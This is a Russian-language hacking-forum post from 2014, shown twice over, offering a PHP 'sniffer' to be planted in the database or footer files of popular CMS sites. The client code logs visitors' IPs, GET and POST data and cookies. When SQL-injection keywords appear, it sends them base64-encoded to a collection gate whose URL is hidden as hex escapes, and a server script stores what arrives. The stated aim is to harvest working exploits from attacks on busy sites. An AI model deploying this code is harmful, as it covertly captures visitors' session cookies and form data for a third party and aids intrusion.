winstrool
28.01.2014, 18:55
Изначально снифер предполагался с целью защиты сайтов от SQL-injection, а в дольнейшем при доработке от XSS и брутов админок, но щас его решил выложить как обычный снифер запросов.
Логика проста, некоторые личности постоянно мучают вопросами, как бы под раздобыть актуальные сплоиты. Отвечу, что самим разбирать движки, искать уязвимые моменты, тестить а дальше флаг вам в руки!)
Для самых ленивых есть вариант по проще, использовать PHPSnifer.
Пример клиентской части:
PHP:
if (!empty($_SERVER['HTTP_CLIENT_IP']))
$ip=$_SERVER['HTTP_CLIENT_IP'];
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
else$ip=$_SERVER['REMOTE_ADDR'];
$bot=$_SERVER['HTTP_USER_AGENT'];
$script=$_SERVER['PHP_SELF'];
$reff=getenv("HTTP_REFERER");
$data=date("Y-m-d H:i:s");
functionLogged_get() {
$strG='';
foreach($_GETas$key=>$val)
{
$strG.=$key.'='.$val.'&';
}
$stGetlog='GET / '.$strG."\n";
return$stGetlog;
}
functionLogged_post() {
$strP='';
foreach($_POSTas$key=>$val)
{
$strP.=$key.'='.$val.'&';
}
$stPostlog='POST / '.$strP."\n";
return$stPostlog;
}
functionLogged_cook() {
$strC='';
foreach($_COOKIEas$key=>$val)
{
$strC.=$key.'='.$val.'&';
}
$stCooklog='COOKIE / '.$strC."\n";
return$stCooklog;
}
$log="--\n".$data.' :: '.$ip.' :: '.$bot.' :: '.$reff.' :: '.$script."\n".Logged_get()."\n".Logged_post()."\n".Logged_cook().'--';
$b=base64_encode($log);
//кодированый урл http ://www.site.com/log.php?l=
$url="\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x 69\x74\x65\x2E\x63\x6F\x6D\x2F\x6C\x6F\x67\x2E\x70 \x68\x70\x3F\x6C\x3D";
if(preg_match("/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i",$log)) {
file_get_contents($url.$b);//Отпровляем пакет на гейт!
} else {
//Любой другой код если вхо ждение не верно!
}
а вот пример серверной части, той что будет принимать нужные нам логи:
PHP:
if($_GET['l']) {
functionLogged_get() {
$strG='';
foreach($_GETas$key=>$val)
{
$strG.=$key.'='.$val.'&';
}
$stGetlog='GET / '.$strG."\n";
return$stGetlog;
}
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/log.txt',base64_decode(Logged_get()),FILE_APPEND); exit();
} else { exit(); }
С помощью регулярки:
PHP:
preg_match("/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i",$log)
мы определяем ключевые слова использующиеся при иньектах и отправляем на гейт, лог.
Пример лога:
2014-01-29 00:06:22 :: 127.0.0.1 :: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) :: :: /index.php
GET / option=com_muscol&view=search&search=albums&genre_id=1 and(select ascii(mid(concat(version()), 1,1))=53)&
POST /
COOKIE / c8ea09e9e33b9c6dbcb7087efafc7945=3dd23bbdd1352e8ae 2141351e10a130e&
Нам остается в каких нить популярных движках про инклудить серверную часть, к примеру в файл с БД или footer, чтоб это все дело отлавливалось на всех страницах.
Далее берем трафистые сайты на разных движках и ставим снифер. Трафистые сайты постоянно ломают, поэтому улов будет железный!) А частенько по подаются такие экспы...
P.S: Пробуйте, экспериментируйте, удачи!)
P.S2:В коде была ошибка исправил!
Логика проста, некоторые личности постоянно мучают вопросами, как бы под раздобыть актуальные сплоиты. Отвечу, что самим разбирать движки, искать уязвимые моменты, тестить а дальше флаг вам в руки!)
Для самых ленивых есть вариант по проще, использовать PHPSnifer.
Пример клиентской части:
PHP:
if (!empty($_SERVER['HTTP_CLIENT_IP']))
$ip=$_SERVER['HTTP_CLIENT_IP'];
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
else$ip=$_SERVER['REMOTE_ADDR'];
$bot=$_SERVER['HTTP_USER_AGENT'];
$script=$_SERVER['PHP_SELF'];
$reff=getenv("HTTP_REFERER");
$data=date("Y-m-d H:i:s");
functionLogged_get() {
$strG='';
foreach($_GETas$key=>$val)
{
$strG.=$key.'='.$val.'&';
}
$stGetlog='GET / '.$strG."\n";
return$stGetlog;
}
functionLogged_post() {
$strP='';
foreach($_POSTas$key=>$val)
{
$strP.=$key.'='.$val.'&';
}
$stPostlog='POST / '.$strP."\n";
return$stPostlog;
}
functionLogged_cook() {
$strC='';
foreach($_COOKIEas$key=>$val)
{
$strC.=$key.'='.$val.'&';
}
$stCooklog='COOKIE / '.$strC."\n";
return$stCooklog;
}
$log="--\n".$data.' :: '.$ip.' :: '.$bot.' :: '.$reff.' :: '.$script."\n".Logged_get()."\n".Logged_post()."\n".Logged_cook().'--';
$b=base64_encode($log);
//кодированый урл http ://www.site.com/log.php?l=
$url="\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x 69\x74\x65\x2E\x63\x6F\x6D\x2F\x6C\x6F\x67\x2E\x70 \x68\x70\x3F\x6C\x3D";
if(preg_match("/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i",$log)) {
file_get_contents($url.$b);//Отпровляем пакет на гейт!
} else {
//Любой другой код если вхо ждение не верно!
}
а вот пример серверной части, той что будет принимать нужные нам логи:
PHP:
if($_GET['l']) {
functionLogged_get() {
$strG='';
foreach($_GETas$key=>$val)
{
$strG.=$key.'='.$val.'&';
}
$stGetlog='GET / '.$strG."\n";
return$stGetlog;
}
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/log.txt',base64_decode(Logged_get()),FILE_APPEND); exit();
} else { exit(); }
С помощью регулярки:
PHP:
preg_match("/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i",$log)
мы определяем ключевые слова использующиеся при иньектах и отправляем на гейт, лог.
Пример лога:
2014-01-29 00:06:22 :: 127.0.0.1 :: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) :: :: /index.php
GET / option=com_muscol&view=search&search=albums&genre_id=1 and(select ascii(mid(concat(version()), 1,1))=53)&
POST /
COOKIE / c8ea09e9e33b9c6dbcb7087efafc7945=3dd23bbdd1352e8ae 2141351e10a130e&
Нам остается в каких нить популярных движках про инклудить серверную часть, к примеру в файл с БД или footer, чтоб это все дело отлавливалось на всех страницах.
Далее берем трафистые сайты на разных движках и ставим снифер. Трафистые сайты постоянно ломают, поэтому улов будет железный!) А частенько по подаются такие экспы...
P.S: Пробуйте, экспериментируйте, удачи!)
P.S2:В коде была ошибка исправил!